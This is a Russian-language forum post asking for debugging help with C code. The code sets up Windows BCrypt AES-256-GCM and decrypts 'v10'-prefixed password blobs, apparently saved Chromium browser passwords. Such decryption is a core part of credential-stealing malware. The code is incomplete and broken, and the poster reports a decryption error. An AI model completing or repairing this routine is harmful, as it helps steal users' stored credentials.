Пожалуйста, обратите внимание, что пользователь заблокирован
C:
bool Init()
{
bool bRet = false;
do
{
if (STATUS_SUCCESS != BCryptOpenAlgorithmProvider(&hAlg, BCRYPT_AES_ALGORITHM, NULL, 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't initialize cryptoprovider. Last error code: %n", GetLastError());
#endif
break;
}
if (STATUS_SUCCESS != BCryptSetProperty(hAlg, BCRYPT_CHAINING_MODE, (PUCHAR)BCRYPT_CHAIN_MODE_GCM, sizeof(BCRYPT_CHAIN_MODE_GCM), 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't set chaining mode. Last error code: %n", GetLastError());
#endif
break;
}
bRet = true;
} while (false);
return bRet;
}
// ---------------------------------
bool InitKey(
IN PBYTE pbKey
)
{
bool bRet = true;
if (STATUS_SUCCESS != BCryptGenerateSymmetricKey(hAlg, &hKey, NULL, 0, pbKey, AES_256_KEY_SIZE, 0))
{
#ifdef __DEBUG
Debug::DebugMessage(L"[DEBUG] Crypt::BCrypt::Init: can't deinitialize cryptoprovider. Last error code: %n", GetLastError());
#endif
bRet = false;
}
return bRet;
}
// ---------------------------------
bool DecryptPassword(
IN PBYTE pbData,
IN DWORD dwDataLength,
OUT PCHAR pszDestination
)
{
bool bRet = false;
if (NULL == pbData || 0 == dwDataLength || NULL == pszDestination)
{
return bRet;
}
BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO BACMI;
BCRYPT_INIT_AUTH_MODE_INFO(BACMI); // Макрос инициализирует структуру BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO
BACMI.pbNonce = &pbData[3]; // Пропускаем префикс "v10".
BACMI.cbNonce = 12; // Размер Nonce = 12 байт.
BACMI.pbTag = &BACMI.pbNonce[12];
BACMI.cbTag = dwDataLength - 3 - 12;
DWORD dwOutLength = 19;
PCHAR pszTest = (PCHAR)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwOutLength + 1);
ULONG ua = BCryptDecrypt(hKey, BACMI.pbNonce + BACMI.cbNonce, dwOutLength, &BACMI, NULL, 0, (PUCHAR)pszTest, dwOutLength, &dwOutLength, 0);
}
После правильной цепочки вызовов - BCryptDecrypt возвращает 0xc000d и мусор в буффере. Помогите, пожалуйста.
Последнее редактирование: